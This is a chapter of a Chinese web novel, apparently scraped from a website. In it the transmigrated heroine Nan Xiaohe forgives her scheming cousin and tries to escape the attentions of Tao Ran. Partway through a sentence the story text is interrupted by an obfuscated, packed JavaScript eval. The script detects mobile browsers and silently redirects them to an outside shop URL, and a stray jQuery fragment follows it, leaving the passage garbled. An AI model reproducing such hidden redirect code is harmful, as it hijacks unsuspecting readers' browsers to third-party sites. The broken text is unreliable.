19. 第 19 章

作品:《我的夫君也是穿越者

    南晓荷吃饱喝足后,不再搭理陶然,从山洞走了出来。


    红隐卫看到南晓荷,道了一句:“夫人好!”


    燕儿一瘸一拐走向南晓荷,“姑娘,你没事,真是太好了。”


    南晓荷看到瘸腿的燕儿,关心道:“燕儿,你的腿怎么了?”


    燕儿还未能开口,高佑率先开口道:“南姑娘放心,燕儿姑娘只是扭伤,没有大碍。”


    他们这群人中,只有高佑略懂些医术,他说没事,南晓荷也就放心了。


    南晓荷忽然想起刚刚红隐卫叫了一声“夫人”,她差点吐血,不悦道:“谁是你们夫人,我警告你们,不要乱叫,知道了吗?”


    “是,夫人,小的知错了。”


    南晓荷看了一眼靠着山洞口处痞笑的陶然,“唉!真是什么样的主子就要什么样的下属。”


    “罢了,燕儿,我们走。”


    “好的,姑娘。”


    南晓荷扶着燕儿准备离开。


    季枫阻拦道:“南姑娘,她要怎么处置?”


    南晓荷顺着季枫手指的方向看了看,是林雨儿被他们绑在一旁。


    她走到林雨儿跟前,“林雨儿,我到底哪里对不起你,你就这么恨我,要置我于死地?”


    林雨儿怒吼道:“是,我就是恨你,恨不得将你抽筋扒皮,碎尸万段。”


    南晓荷在她旁边坐了下来,“你恨我什么?恨我长的比你漂亮,恨我得到沈公子青睐?除此之外应该没有了吧?”


    林雨儿被说中心事,静静地看着南晓荷,没有说话。


    “这个世界男尊女卑,女子生存本就不易,女人何苦为难女人?从小到大,你要什么我都让着你,也从未与你争抢过什么,反倒是你和你妈,不,我是说你娘,你们霸占我的家产,还薄待我,我有埋怨过你们,有恨过你们吗?我都如此包容你了,你为何还要为个不爱你的男人害人害己呢?”


    “我......我,就是气不过......”


    “你什么你,你气不过什么?你从小有舅父舅母的疼爱,锦衣玉食长大,可谓是要风得风、要雨得雨。我呢?父母死的早,唯一的哥哥又奔赴战场,十年未成归家,寄人篱下多年,你们那样待我,我都没有黑化去报复你们,你凭什么要对我喊打喊杀?”


    “你长的不错,出生又好,何苦要为了一颗树舍弃一大片森林呢?这世间除了沈家公子,难不成就没有其他优秀的男子了?”


    “南晓荷,我...”


    林雨儿被娇惯长大,从未想过这些,一向都是以自我为中心,听了南晓荷的话若有所思。


    南晓荷站起身,背对着林雨儿,“事不过三,这是最后一次,日后如果你胆敢再加害于我,我绝对不会放过你。”


    南晓荷示意骄阳将林雨儿的绳子解开。


    “你走吧!”


    被松绑的林雨儿起身便要走。


    陶然阻拦道:“等一下。”


    林雨儿诧异,害怕道:“陶公子,你不会是要杀了我吧?”


    “哼,既然我家晓荷不跟你计较,小爷我自然也不会取你狗命。”


    “陶然,你注意措辞,什么你家晓荷?”


    “好好好,南姑娘,这样可以的吧!”


    陶然对着南晓荷嬉皮笑脸,偏头对着林雨儿立马变了张脸,他冷脸道:“给你十天时间,将南姑娘带去林家的田产、铺子尽数归还回来,这件事情你如果办的让小爷不满意,小爷会亲自前来取你狗命。”


    “不用,不用,那些田产、铺子就当我报答舅父舅母这些年对我的照顾之恩好了,我不要了。”


    林雨儿惊讶:“你当真不要了?”


    外祖母告诉南晓荷,张氏不擅长经营,那些铺子在她手里多年,多半是亏空了,她要回来岂不是要给她擦屁股,她才不要呢。


    更何况外祖母给了她很多,不少于她当年带来的。


    “嗯,不要了,林雨儿你听清楚了吗?你走吧!”


    林雨儿听完,快步离开,好似害怕南晓荷会反悔一般。


    昨晚,她见识到了高佑和季枫审那些杀手的手段,很是吓人,她苦苦哀求,一直嚷嚷着她是南晓荷的亲表姐,高佑和季枫看在南晓荷的面子上,才没有动她,不然此时的她应该是一具尸体。


    高佑他们想着让南晓荷亲自处置她,不成想,她居然就这么放过了她。


    高佑感慨:“唉!这南姑娘心太善了,不是好事啊!”


    季枫问道:“高佑哥,你怎么会这么说啊?”


    “林雨儿带来的那些杀手,个个出手狠辣,如果不是陶然冒死相救,南姑娘怕是早就遭到毒手了,唉!正所谓对别人仁慈就是对自己残忍。”


    高佑想起昨晚自己一开始对对手留情,害的自己差点小命不好,感慨道:“唉!我也得改改这臭毛病了。”


    昨晚陶然以命相护的情义,南晓荷记下了,不过,她不想跟陶然牵扯不清,不想欠他,也不想领他的人情。


    她盘算着该如何还陶然的救命之情。


    小麻雀熟知这本小说的剧情,等小麻雀出来问一下它,接下来会发生的事情,比如陶然会遇到哪些危险,提前告诉他,以此来还他的人情。


    陶然敲了敲南晓荷的额头,“你在想什么?”


    “没想什么。”


    南晓荷扶着一瘸一拐的燕儿一步一步走着。


    陶然跟着他们身后,“骄阳,你背一下燕儿吧!你们这样的速度何时才能离开这悬崖?”


    “是,主子。”


    燕儿拒绝道:“骄阳,不用,我很重的,你背不动我的。”


    “燕儿姑娘,没关系的,我可以的,相信我。”


    燕儿看了看南晓荷。


    “燕儿,你就让他背着吧!”


    “哦,好的,燕儿听姑娘的。”


    一行人走了大半个时辰,南晓荷累的一屁股坐到地上。


    “累死我了,这悬崖怎么那么深啊?我们还要多久才能走出去啊?”


    陶然坐到南晓荷身旁,肩膀抵了抵她,“怎么,走不动了?要不要我背你?”


    南晓荷白了一眼陶然,挪了挪,不想靠近他。


    她每挪开一步,陶然就跟上一步。


    南晓荷怒道:“你是狗皮膏药吗,粘着我作甚?”


    “狗皮膏药?这个词不错,适合我,知知,我就是你的狗皮膏药,这辈子我粘定你了。”


    南晓荷无语:“陶公子,我不是跟你都说清楚了吗?我只当你是弟弟,我对你没有男女之情。”


    “我比你大,怎么能是你弟弟呢?是哥哥。”


    陶然说着说着,忽然凑到南晓荷耳边,小声道:“我是你的情哥哥。”


    听了他的话,南晓荷起了一身的鸡皮疙瘩,她立马站起身,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092548|195494||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    逃离他。


    她走的飞快,突然,脚下一滑,身子不稳,向后摔倒。


    陶然飞身上前,及时扶住了她。


    待南晓荷站稳后,又迅速地跟他拉开距离。


    南晓荷心想:唉!小说作者为了拉近男女主感情,经常写这些老掉牙的剧情,什么女主遭遇刺杀,男主舍身相救啊,什么掉悬崖,落水啊,男女主孤男寡女共处一室啦,真是够够的。


    唉!小麻雀说过我无法逃脱它的控制,想必这些剧情是原本设定好的。


    陶然这小子不会已经喜欢上我了吧?小麻雀不是说他身负血海深仇,为了隐藏身份,不得已装作一副纨绔公子样吗?,


    与他接触下来可以确定的是,他还是个未经人事的纯情大男孩。


    南晓荷忽然回想起,他们亲吻的画面,懊恼道:“坏了。”


    陶然凑过来问道:“什么坏了?”


    “没什么,没什么。”


    南晓荷低头冥想:完了,无心插柳柳成荫了,醉酒吻、山洞吻,还有人工呼吸,怕是让陶然误会了,可是我已经跟他说清楚了啊,他怎么还......


    青春期的男孩,他对我应该只是产生了一时的好感,时间长了就会忘记。


    看来我得尽快远离他。


    不仅要远离陶然,我还得想办法逃离小麻雀的控制,只是我一个弱女子在这个世界单独出行不太方便,要是小麻雀的金手指给我就好了,等我武力值提高了,我就可以单独行动了。


    嗯,还是先回到南府,将小麻雀的金手指骗到手再说,现在的小麻雀一定认为我想通了,愿意听它的话,认真做任务了。呵呵,到时候我会让小麻雀知道,什么是‘道高一尺,魔高一丈’,跟我斗,你还嫩了点。


    陶然看着一会儿愁眉苦脸,一会儿阴险坏笑的南晓荷,“知知,知知?”


    他摸了摸她的额头,“哥哥明明接住你了,没让你摔倒啊,你怕不是吓傻了吧?”


    南晓荷推开那只大手,“你才吓傻了。”


    陶然问道:“知知,你刚刚在想什么,一会儿哭一会儿笑的?”


    “哼,我在想什么,关你什么事情?还有,就是你别叫我知知。”


    “不让我叫你知知,那就叫你妹妹?”


    南晓荷说罢继续往前走,转身又道:“谁是你妹妹?我的年纪你都可以叫我阿...”


    “姨”字,南晓荷终究没有说出口,她觉得灵魂穿越这种事情,说出来谁会相信啊。


    “罢了,你愿意叫啥就啥吧!我无所谓。”


    “那你是同意我叫你知知了?太好了。”陶然开心的像个阳光大男孩。


    南晓荷心想:唉!毕竟他还是个18岁的孩子,虽然有时侯稳重的不像话,但是毕竟太年轻。


    难怪那些有钱的男人永远喜欢18岁的年轻女子,如果可以,我也想包养一堆小鲜肉,要不,日后我去云水山庄,养一堆小白脸试试,哈哈...


    陶然发觉南晓荷的行为举止,有老成之风,不像个14-15岁的小女孩。


    “知知,你小小年纪,怎么总是一副小大人模样?”


    “要你管。”


    陶然叹气:“罢了,我不也一样吗?”


    陶然也经常被高佑调侃道:“云策,我年长你几岁,考虑事情却远不及你周全,真是惭愧,有时候我都怀疑你真的只有18岁吗?”